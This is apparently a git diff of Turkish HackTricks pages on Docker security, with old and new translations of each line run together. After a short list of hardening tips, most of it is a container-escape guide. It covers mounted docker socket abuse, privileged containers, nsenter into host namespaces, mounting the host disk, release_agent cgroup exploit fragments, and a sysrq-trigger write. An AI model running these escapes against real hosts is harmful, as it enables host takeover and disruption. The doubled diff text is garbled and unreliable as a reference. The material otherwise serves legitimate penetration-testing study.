* **`--privileged` bayrağını kullanmayın veya konteyner içinde bir** [**Docker soketi bağlamayın**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle örneğin, `--privileged` bayrağı ile başka bir konteyner çalıştırarak ana bilgisayarın tam kontrolünü ele geçirmek kolaydır. * **`--privileged` bayrağını kullanmayın veya konteyner içinde bir** [**Docker soketi bağlamayın**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle örneğin, `--privileged` bayrağı ile başka bir konteyneri çalıştırarak ana bilgisayarı tam kontrol altına almanın kolay bir yoludur.
* Konteyner içinde **root olarak çalıştırmayın.** [**Farklı bir kullanıcı**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)** kullanın.** Konteynerdeki root, kullanıcı ad alanları ile yeniden eşlenmediği sürece ana bilgisayardakiyle aynıdır. Yalnızca Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanır. * **Konteyner içinde root olarak çalıştırmayın.** [**Farklı bir kullanıcı**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)** kullanın.** Konteynerdeki root, kullanıcı ad alanları ile yeniden eşlenene kadar ana bilgisayardakiyle aynıdır. Yalnızca Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanır.
* [**Tüm yetenekleri bırakın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekenleri etkinleştirin** (`--cap-add=...`). Birçok iş yükü hiçbir yetenek gerektirmez ve bunları eklemek bir saldırı olasılığının kapsamını artırır. * [**Tüm yetenekleri bırakın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekli olanları etkinleştirin** (`--cap-add=...`). Birçok iş yükü hiçbir yetenek gerektirmez ve bunları eklemek bir saldırı alanının kapsamını artırır.
* Süreçlerin daha fazla ayrıcalık kazanmasını önlemek için [**“no-new-privileges” güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/), örneğin suid ikili dosyalar aracılığıyla. * [**"no-new-privileges" güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **, örneğin suid ikili dosyalar aracılığıyla daha fazla ayrıcalık kazanılmasını önlemek için.**
* Konteynere **kullanılabilir kaynakları sınırlayın**. Kaynak sınırları, makinenin hizmet reddi saldırılarından korunmasına yardımcı olabilir. * [**Konteynere sağlanan kaynakları sınırlayın**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Kaynak sınırları, makinenin hizmet reddi saldırılarından korunmasına yardımcı olabilir.
* **[Seccomp](https://docs.docker.com/engine/security/seccomp/)**, **[AppArmor](https://docs.docker.com/engine/security/apparmor/)** **(veya SELinux)** profillerini ayarlayarak konteyner için kullanılabilir eylemleri ve sistem çağrılarını minimuma indirin. * **[Seccomp](https://docs.docker.com/engine/security/seccomp/)**, [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini ayarlayarak konteyner için kullanılabilir eylemleri ve sistem çağrılarını minimuma indirin.
* **[Resmi docker görüntülerini](https://docs.docker.com/docker-hub/official\_images/) kullanın ve imzaları gerektirin** veya bunlara dayalı kendi görüntülerinizi oluşturun. Geriye dönük miras almayın veya [arka kapıdan](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) görüntüler kullanmayın. Ayrıca kök anahtarları, parola güvenli bir yerde saklayın. Docker, UCP ile anahtarları yönetme planları yapmaktadır. * **[Resmi docker görüntülerini](https://docs.docker.com/docker-hub/official\_images/) kullanın ve imzaları gerektirin** veya bunlara dayalı kendi görüntülerinizi oluşturun. Geriye dönük veya [arka kapılı](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) görüntülerden miras almayın veya kullanmayın. Ayrıca kök anahtarları, parola güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetme planları yapmaktadır.
* **Güvenlik yamalarını uygulamak için düzenli olarak** **görüntülerinizi yeniden oluşturun.** * **Güvenlik yamalarını uygulamak için düzenli olarak** **görüntülerinizi yeniden oluşturun.**
* **Secret'ları akıllıca yönetin** böylece saldırganın bunlara erişmesi zor olur. * **Secret'ları akıllıca yönetin** böylece saldırganın bunlara erişmesi zor olur.
* Docker daemon'ı **HTTPS ile açıklarsanız**, istemci ve sunucu kimlik doğrulaması yapın. * Docker daemon'ı **HTTPS ile açıklarsanız**, istemci ve sunucu kimlik doğrulaması kullanın.
* Docker dosyanızda, **ADD yerine COPY'yi tercih edin**. ADD otomatik olarak sıkıştırılmış dosyaları çıkarır ve dosyaları URL'lerden kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunca ADD kullanmaktan kaçının, böylece uzak URL'ler ve Zip dosyaları aracılığıyla yapılan saldırılara karşı savunmasız olmazsınız. * Docker dosyanızda, **ADD yerine COPY'yi tercih edin**. ADD otomatik olarak sıkıştırılmış dosyaları çıkarır ve dosyaları URL'lerden kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunca ADD kullanmaktan kaçının, böylece uzak URL'ler ve Zip dosyaları aracılığıyla yapılan saldırılara karşı savunmasız olmazsınız.
* **Her mikro hizmet için ayrı konteynerler kullanın** * **Her mikro hizmet için ayrı konteynerler kullanın**
* Konteyner **görüntülerini daha küçük yapın** * Konteynerin içine **ssh koymayın**, "docker exec" kullanılarak Konteynere ssh yapılabilir.
* **Daha küçük** konteyner **görüntüleri kullanın**
## Docker Kaçışı / Ayrıcalık Yükseltme ## Docker Kaçışı / Ayrıcalık Yükseltme
@ -377,7 +380,7 @@ Eğer **bir docker konteynerinin içindeyseniz** veya **docker grubunda bir kull
## Docker Kimlik Doğrulama Eklentisi Atlatma ## Docker Kimlik Doğrulama Eklentisi Atlatma
Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya erişiminiz varsa ancak eylemleriniz bir docker kimlik doğrulama eklentisi tarafından sınırlanıyorsa**, bunu **atlayıp atlayamayacağınızı** kontrol edin: Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya erişiminiz varsa ancak eylemleriniz bir docker kimlik doğrulama eklentisi tarafından sınırlanıyorsa**, **bunu atlayıp atlayamadığınızı kontrol edin:**
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@ -386,7 +389,7 @@ Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya
## Docker Sıkılaştırma ## Docker Sıkılaştırma
* [**docker-bench-security**](https://github.com/docker/docker-bench-security) aracı, Docker konteynerlerini üretimde dağıtmakla ilgili onlarca yaygın en iyi uygulamayı kontrol eden bir betik. Testlerin hepsi otomatiktir ve [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) temel alınmıştır.\ * [**docker-bench-security**](https://github.com/docker/docker-bench-security) aracı, Docker konteynerlerini üretimde dağıtmakla ilgili onlarca yaygın en iyi uygulamayı kontrol eden bir betik. Testlerin hepsi otomatiktir ve [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) temel alınmıştır.\
Araç, docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahip bir konteynerden çalıştırmanız gerekir. README'de nasıl çalıştırılacağını öğrenin: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). Araç, Docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahip bir konteynerden çalıştırmanız gerekir. README'de nasıl çalıştırılacağını öğrenin: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Referanslar ## Referanslar
@ -404,21 +407,21 @@ Araç, docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahi
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) * [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) * [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatik iş akışlarını** kolayca oluşturmak ve otomatikleştirmek için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ Dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek hackleme hilelerinizi paylaşın. * **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
@ -26,13 +26,13 @@ Bugün Erişim Alın:
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Ayrıca **konteynerleri numaralandırabilir** * [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Ayrıca **konteynerleri numaralandırabilir**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Bu araç, içinde bulunduğunuz konteyneri numaralandırmak için oldukça **yararlıdır ve hatta otomatik olarak kaçmaya çalışır** * [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Bu araç, içinde bulunduğunuz konteyneri numaralandırmak için oldukça **yararlıdır ve hatta otomatik olarak kaçmaya çalışır**
* [**amicontained**](https://github.com/genuinetools/amicontained): Konteynerin sahip olduğu ayrıcalıkları almak için kullanışlı bir araç, bundan kaçış yollarını bulmak için * [**amicontained**](https://github.com/genuinetools/amicontained): Konteynerin sahip olduğu ayrıcalıkları almak için kullanışlı bir araç ve bundan kaçış yollarını bulmak
* [**deepce**](https://github.com/stealthcopter/deepce): Konteynerlerden numaralandırmak ve kaçmak için araç * [**deepce**](https://github.com/stealthcopter/deepce): Konteynerlerden numaralandırmak ve kaçmak için araç
* [**grype**](https://github.com/anchore/grype): Görüntüye yüklenen yazılımda bulunan CVE'leri alın * [**grype**](https://github.com/anchore/grype): Görüntüye yüklenen yazılımda bulunan CVE'leri alın
## Bağlanmış Docker Soketinden Kaçış ## Bağlanmış Docker Soketinden Kaçış
Eğer **bir şekilde docker soketinin** docker konteyneri içine bağlandığını bulursanız, bundan kaçabilirsiniz.\ Eğer bir şekilde **docker soketinin** docker konteyneri içine bağlandığını bulursanız, bundan kaçabilirsiniz.\
Bu genellikle, bir nedenle docker işlemlerini gerçekleştirmek için docker daemonına bağlanması gereken docker konteynerlerinde meydana gelir. Bu genellikle, bir nedenle docker işlemlerini gerçekleştirmek için docker daemonına bağlanması gereken docker konteynerlerinde meydana gelir.
```bash ```bash
#Search the socket #Search the socket
@ -57,10 +57,10 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se
Eğer **docker soketi beklenmedik bir konumda** bulunuyorsa, yine de **`docker`** komutunu **`-H unix:///path/to/docker.sock`** parametresi ile kullanarak iletişim kurabilirsiniz. Eğer **docker soketi beklenmedik bir konumda** bulunuyorsa, yine de **`docker`** komutunu **`-H unix:///path/to/docker.sock`** parametresi ile kullanarak iletişim kurabilirsiniz.
{% endhint %} {% endhint %}
Docker daemon ayrıca bir portta dinleyebilir (varsayılan olarak 2375, 2376) veya Systemd tabanlı sistemlerde Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir. Docker daemon ayrıca bir portta da dinlenebilir (varsayılan olarak 2375, 2376) veya Systemd tabanlı sistemlerde Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir.
{% hint style="info" %} {% hint style="info" %}
Ayrıca, diğer yüksek seviye çalışma zamanlarının çalışma zamanı soketlerine dikkat edin: Ayrıca, diğer yüksek seviye çalışma zamanlarının çalışma soketlerine dikkat edin:
* dockershim: `unix:///var/run/dockershim.sock` * dockershim: `unix:///var/run/dockershim.sock`
* containerd: `unix:///run/containerd/containerd.sock` * containerd: `unix:///run/containerd/containerd.sock`
@ -74,7 +74,7 @@ Ayrıca, diğer yüksek seviye çalışma zamanlarının çalışma zamanı soke
Konteynerin yeteneklerini kontrol etmelisiniz, eğer aşağıdaki yeteneklerden herhangi birine sahipse, ondan kaçabilirsiniz: **`CAP_SYS_ADMIN`**, **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** Konteynerin yeteneklerini kontrol etmelisiniz, eğer aşağıdaki yeteneklerden herhangi birine sahipse, ondan kaçabilirsiniz: **`CAP_SYS_ADMIN`**, **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
Şu anda konteyner yeteneklerini kontrol edebilirsiniz **daha önce bahsedilen otomatik araçlar** veya: Şu anda konteyner yeteneklerini kontrol etmek için **önceden bahsedilen otomatik araçları** veya aşağıdaki komutu kullanabilirsiniz:
```bash ```bash
capsh --print capsh --print
``` ```
@ -86,7 +86,7 @@ Aşağıdaki sayfada **linux yetenekleri** hakkında daha fazla bilgi edinebilir
## Ayrıcalıklı Konteynerden Kaçış ## Ayrıcalıklı Konteynerden Kaçış
Ayrıcalıklı bir konteyner, `--privileged` bayrağı ile oluşturulabilir veya belirli savunmalar devre dışı bırakılarak oluşturulabilir: Ayrıcalıklı bir konteyner, `--privileged` bayrağıyla veya belirli savunmaları devre dışı bırakarak oluşturulabilir:
* `--cap-add=ALL` * `--cap-add=ALL`
* `--security-opt apparmor=unconfined` * `--security-opt apparmor=unconfined`
@ -98,7 +98,7 @@ Ayrıcalıklı bir konteyner, `--privileged` bayrağı ile oluşturulabilir veya
* `--cgroupns=host` * `--cgroupns=host`
* `/dev` bağlama * `/dev` bağlama
`--privileged` bayrağı, konteyner güvenliğini önemli ölçüde düşürür, **sınırsız cihaz erişimi** sunar ve **birçok korumayı atlar**. Detaylı bir açıklama için, `--privileged`'ın tam etkileri hakkındaki belgelendirmeye başvurun. `--privileged` bayrağı, konteyner güvenliğini önemli ölçüde düşürerek **sınırsız cihaz erişimi** sunar ve **birçok korumayı atlar**. Detaylı bir açıklama için, `--privileged`'ın tam etkileri hakkındaki belgelere başvurun.
{% content-ref url="../docker-privileged.md" %} {% content-ref url="../docker-privileged.md" %}
[docker-privileged.md](../docker-privileged.md) [docker-privileged.md](../docker-privileged.md)
@ -106,17 +106,17 @@ Ayrıcalıklı bir konteyner, `--privileged` bayrağı ile oluşturulabilir veya
### Privileged + hostPID ### Privileged + hostPID
Bu izinlerle, sadece şu komutu çalıştırarak (pid:1 gibi) ana makinede kök olarak çalışan bir işlemin ad alanına geçebilirsiniz: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` Bu izinlerle, sadece **kök olarak çalışan bir işlem alanına geçebilirsiniz** örneğin init (pid:1) gibi, sadece şunu çalıştırarak: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Bunu bir konteynerde test ederek çalıştırın: Bunu bir konteynerde test etmek için şunu çalıştırın:
```bash ```bash
docker run --rm -it --pid=host --privileged ubuntu bash docker run --rm -it --pid=host --privileged ubuntu bash
``` ```
### Ayrıcalıklı ### Ayrıcalıklı
Sadece ayrıcalıklı bayrağı ile **ana bilgisayarın diskinde erişim deneyebilirsiniz** veya **release\_agent veya diğer kaçışları kötüye kullanarak kaçmaya çalışabilirsiniz**. Sadece ayrıcalıklı bayrağı ile **ana bilgisayarın diskinde erişmeyi** veya **release\_agent veya diğer kaçışları kötüye kullanarak kaçmayı** deneyebilirsiniz.
Aşağıdaki atlatmaları bir konteynerde çalıştırarak test edin: Aşağıdaki atlamaları bir konteynerde test etmek için şunları çalıştırın:
```bash ```bash
docker run --rm -it --privileged ubuntu bash docker run --rm -it --privileged ubuntu bash
``` ```
@ -126,7 +126,7 @@ docker run --rm -it --privileged ubuntu bash
![](https://bestestredteam.com/content/images/2019/08/image-16.png) ![](https://bestestredteam.com/content/images/2019/08/image-16.png)
Bu nedenle, ana makineyi ele geçirmek basittir: Bu nedenle ana makineyi ele geçirmek basittir:
```bash ```bash
mkdir -p /mnt/hola mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola mount /dev/sda1 /mnt/hola
@ -135,7 +135,7 @@ Ve işte! Artık ana bilgisayarın dosya sistemine `/mnt/hola` klasöründe bağ
#### Disk Bağlama - Poc2 #### Disk Bağlama - Poc2
Kapsayıcı içinde, bir saldırgan kümenin oluşturduğu yazılabilir hostPath birimini kullanarak altta yatan ana bilgisayar işletim sistemine daha fazla erişim elde etmeye çalışabilir. Aşağıda, bu saldırgan vektörünü kullanarak kontrol edebileceğiniz yaygın bazı şeyler bulunmaktadır: Kapsayıcı içinde, bir saldırgan kümenin oluşturduğu yazılabilir hostPath birimine erişmeye çalışabilir ve bu yolla altta yatan ana işletim sistemine daha fazla erişim sağlamaya çalışabilir. Aşağıda, bu saldırgan vektörünü kullanıp kullanamayacağınızı kontrol etmek için kapsayıcı içinde kontrol edebileceğiniz bazı yaygın şeyler bulunmaktadır:
```bash ```bash
### Check if You Can Write to a File-system ### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger echo 1 > /proc/sysrq-trigger
@ -156,7 +156,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger) ### debugfs (Interactive File System Debugger)
debugfs /dev/sda1 debugfs /dev/sda1
``` ```
#### Yetkilendirilmiş Kaçış Varolan release\_agent Kullanımı ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 #### Yetkilendirilmiş Kaçış Varolan release\_agent Kullanarak ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
{% code title="Başlangıç PoC" %} {% code title="Başlangıç PoC" %}
```bash ```bash
@ -236,15 +236,15 @@ cat /output
``` ```
{% endcode %} {% endcode %}
Teknik açıklamanın **bir açıklamasını** bulun: Teknik açıklamasını bulun:
{% content-ref url="docker-release_agent-cgroups-escape.md" %} {% content-ref url="docker-release_agent-cgroups-escape.md" %}
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md) [docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
{% endcontent-ref %} {% endcontent-ref %}
#### Bilinen yol olmadan release\_agent'i kötüye kullanarak Yetkilendirilmiş Kış - PoC3 #### Bilinen yol olmadan release\_agent'i kötüye kullanarak ayrıcalıklı kış - PoC3
Önceki saldırılarda **konumunun kesin yolu ana bilgisayar dosya sisteminde ifşa edilmiştir**. Bununla birlikte, bu her zaman geçerli değildir. **Ana bilgisayar içinde konteynerin kesin yolunu bilmediğiniz durumlarda** bu tekniği kullanabilirsiniz: Önceki saldırılarda **konumun mutlak yolu** ifşa edilmiştir. Bununla birlikte, her zaman böyle olmaz. **Ana bilgisayar içinde konteynerin mutlak yolunu bilmediğiniz durumlarda** bu tekniği kullanabilirsiniz:
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %} {% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md) [release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
@ -308,7 +308,7 @@ sleep 1
echo "Done! Output:" echo "Done! Output:"
cat ${OUTPUT_PATH} cat ${OUTPUT_PATH}
``` ```
Ayrıcalıklı bir konteyner içinde PoC'yi çalıştırmak benzer bir çıktı sağlamalıdır: İşlemi ayrıcalıklı bir konteyner içinde gerçekleştirmek, benzer bir çıktı sağlamalıdır:
```bash ```bash
root@container:~$ ./release_agent_pid_brute.sh root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100 Checking pid 100
@ -338,16 +338,16 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
``` ```
#### Ayrıcalıklı Kaçış Hassas Bağlantı Noktalarını Kötüye Kullanma #### Ayrıcalıklı Kaçış Hassas Bağlantı Noktalarını Kötüye Kullanma
Altta yatan ana bilgisayar hakkında bilgi veren **bazı dosyalar bağlanabilir**. Bunlardan bazıları, hatta **ana bilgisayarın bir şey gerçekleştiğinde bir şeyi yürütmesini işaret edebilir** (bu da bir saldırganın konteynerden kaçmasına izin verebilir).\ Altta yatan ana bilgisayar hakkında bilgi veren **çeşitli dosyalar** bağlanabilir. Bazıları, hatta **ana bilgisayarın bir şey gerçekleştiğinde bir şeyi yürütmesini işaret edebilir** (bu da bir saldırganın konteynerden kaçmasına izin verebilir).\
Bu dosyaların kötüye kullanımı şunu mümkün kılar: Bu dosyaların kötüye kullanımı şunu mümkün kılar:
- release\_agent (zaten önce ele alındı) * release\_agent (zaten önce ele alındı)
- [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc) * [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
- [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern) * [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
- [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper) * [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) * [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
Ancak, bu sayfada kontrol etmek için **başka hassas dosyalar** bulabilirsiniz: Ancak, bu sayfada kontrol etmek için **diğer hassas dosyaları** bulabilirsiniz:
{% content-ref url="sensitive-mounts.md" %} {% content-ref url="sensitive-mounts.md" %}
[sensitive-mounts.md](sensitive-mounts.md) [sensitive-mounts.md](sensitive-mounts.md)
@ -355,14 +355,14 @@ Ancak, bu sayfada kontrol etmek için **başka hassas dosyalar** bulabilirsiniz:
### Keyfi Bağlantı Noktaları ### Keyfi Bağlantı Noktaları
Birkaç durumda, **konteynerin ana bilgisayardan birim bağlandığını göreceksiniz**. Bu birim doğru şekilde yapılandırılmamışsa, **duyarlı verilere erişebilir/değiştirebilirsiniz**: Gizli bilgileri okuyun, ssh authorized\_keys dosyasını değiştirin... Birkaç durumda, **konteynerin ana bilgisayardan birim bağlandığını** göreceksiniz. Bu birim doğru şekilde yapılandırılmamışsa, **hassas verilere erişebilir/değiştirebilirsiniz**: Gizli bilgileri okuyun, ssh authorized\_keys dosyasını değiştirin...
```bash ```bash
docker run --rm -it -v /:/host ubuntu bash docker run --rm -it -v /:/host ubuntu bash
``` ```
### 2 kabuk ve ana makine bağlantısı ile ayrıcalık yükseltme ### 2 kabuk ve ana makine bağlantısı ile ayrıcalık yükseltme
